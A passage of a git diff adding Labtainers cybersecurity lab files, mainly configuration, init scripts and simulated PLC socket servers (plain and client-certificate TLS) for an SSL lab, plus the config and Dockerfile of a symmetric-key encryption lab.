left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/sbin/faux_init new file mode 100755 index 000000000..e806e03ac --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/xinetd start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/certs/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/certs/README.txt new file mode 100644 index 000000000..585f07610 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/certs/README.txt @@ -0,0 +1 @@ +plc1 certificates diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/private/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/private/README.txt new file mode 100644 index 000000000..ec101fa3c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/private/README.txt @@ -0,0 +1 @@ +PLC1 private keys diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/server_ssl b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/server_ssl new file mode 100755 index 000000000..f005c12c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/server_ssl @@ -0,0 +1,63 @@ +#!/usr/bin/env python +''' +Simulate a PLC server +''' +import socket, ssl + +SERVICE_PORT = 10023 + +def do_something(constream, data): + print('received: %s' % data) + if data is None: + return False + else: + return True + +def deal_with_client(connstream): + data = connstream.read() + # null data means the client is finished with us + while data: + if not do_something(connstream, data): + # we'll assume do_something returns False + # when we're finished with client + break + data = connstream.read() + # finished with client + +''' this host name, e.g., plc1 ''' +this_host = socket.gethostname() +''' default ssl context ''' +context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) +''' cert chain for validating client certs ''' +context.load_cert_chain(certfile=("certs/%s.example.com.cert.pem" % this_host), + keyfile=("private/%s.example.com.key.pem" % this_host)) +''' chain for validating the client ''' +context.load_verify_locations('certs/ca-chain.cert.pem') +''' require client to have a cert ''' +context.verify_mode = ssl.CERT_REQUIRED + +''' bind socket and listen ''' +bindsocket = socket.socket() +bindsocket.bind((this_host, SERVICE_PORT)) +bindsocket.listen(5) + +while True: + ''' wait for client to open connection ''' + newsocket, fromaddr = bindsocket.accept() + ''' ssl wrap_socket, will also validate client ''' + try: + connstream = context.wrap_socket(newsocket, server_side=True) + except (ssl.SSLEOFError, ssl.SSLError): + print('SSL error, ignore connection request from %s' % str(fromaddr)) + continue + ''' get cert and display client common name ''' + cert = connstream.getpeercert() + subject = dict(x[0] for x in cert['subject']) + issued_to = subject['commonName'] + print('Connection from %s' % issued_to) + try: + deal_with_client(connstream) + finally: + connstream.shutdown(socket.SHUT_RDWR) + connstream.close() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/sbin/faux_init new file mode 100755 index 000000000..e806e03ac --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/xinetd start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/certs/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/certs/README.txt new file mode 100644 index 000000000..1f5addba1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/certs/README.txt @@ -0,0 +1 @@ +plc2 certificates diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/private/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/private/README.txt new file mode 100644 index 000000000..5793f1280 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/private/README.txt @@ -0,0 +1 @@ +plc2 private keys diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/server b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/server new file mode 100755 index 000000000..61c0d0050 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/server @@ -0,0 +1,44 @@ +#!/usr/bin/env python +''' +Simulate a PLC server +''' +import socket + +SERVICE_PORT = 10023 + +def do_something(constream, data): + print('received: %s' % data) + if data is None: + return False + else: + return True + +def deal_with_client(connstream): + data = connstream.recv(1024) + # null data means the client is finished with us + while data: + if not do_something(connstream, data): + # we'll assume do_something returns False + # when we're finished with client + break + data = connstream.recv(1024) + # finished with client + +''' this host name, e.g., plc1 ''' +this_host = socket.gethostname() + +''' bind socket and listen ''' +bindsocket = socket.socket() +bindsocket.bind((this_host, SERVICE_PORT)) +bindsocket.listen(5) + +while True: + ''' wait for client to open connection ''' + newsocket, fromaddr = bindsocket.accept() + print('Connection from %s' % str(fromaddr)) + try: + deal_with_client(newsocket) + finally: + newsocket.shutdown(socket.SHUT_RDWR) + newsocket.close() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/server_ssl b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/server_ssl new file mode 100755 index 000000000..f005c12c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc2/server_ssl @@ -0,0 +1,63 @@ +#!/usr/bin/env python +''' +Simulate a PLC server +''' +import socket, ssl + +SERVICE_PORT = 10023 + +def do_something(constream, data): + print('received: %s' % data) + if data is None: + return False + else: + return True + +def deal_with_client(connstream): + data = connstream.read() + # null data means the client is finished with us + while data: + if not do_something(connstream, data): + # we'll assume do_something returns False + # when we're finished with client + break + data = connstream.read() + # finished with client + +''' this host name, e.g., plc1 ''' +this_host = socket.gethostname() +''' default ssl context ''' +context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) +''' cert chain for validating client certs ''' +context.load_cert_chain(certfile=("certs/%s.example.com.cert.pem" % this_host), + keyfile=("private/%s.example.com.key.pem" % this_host)) +''' chain for validating the client ''' +context.load_verify_locations('certs/ca-chain.cert.pem') +''' require client to have a cert ''' +context.verify_mode = ssl.CERT_REQUIRED + +''' bind socket and listen ''' +bindsocket = socket.socket() +bindsocket.bind((this_host, SERVICE_PORT)) +bindsocket.listen(5) + +while True: + ''' wait for client to open connection ''' + newsocket, fromaddr = bindsocket.accept() + ''' ssl wrap_socket, will also validate client ''' + try: + connstream = context.wrap_socket(newsocket, server_side=True) + except (ssl.SSLEOFError, ssl.SSLError): + print('SSL error, ignore connection request from %s' % str(fromaddr)) + continue + ''' get cert and display client common name ''' + cert = connstream.getpeercert() + subject = dict(x[0] for x in cert['subject']) + issued_to = subject['commonName'] + print('Connection from %s' % issued_to) + try: + deal_with_client(connstream) + finally: + connstream.shutdown(socket.SHUT_RDWR) + connstream.close() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/about.txt new file mode 100644 index 000000000..4e5995549 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/about.txt @@ -0,0 +1 @@ +Exploration of symmetric key encryption modes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/start.config new file mode 100644 index 000000000..03984f307 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/config/start.config @@ -0,0 +1,54 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER symkeylab + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED symkeylab_jkhosali_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER symkeylab + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + X11 YES + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/dockerfiles/Dockerfile.symkeylab.symkeylab.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/dockerfiles/Dockerfile.symkeylab.symkeylab.student new file mode 100644 index 000000000..cdc06b451 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/dockerfiles/Dockerfile.symkeylab.symkeylab.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +# +# Install the system files found in the _system directory +# +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + openssl gpicview +ADD $labdir/sys_$lab.tar.gz / +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar + +# +# Install files in the user home directory +# +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/Makefile new file mode 100644 index 000000000..e713842c5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/Makefile @@ -0,0 +1,6 @@ +symkey.pdf: symkey.docx + soffice --convert-to pdf symkey.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/read_first.txt new file mode 100644 index 000000000..b592e4d14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + 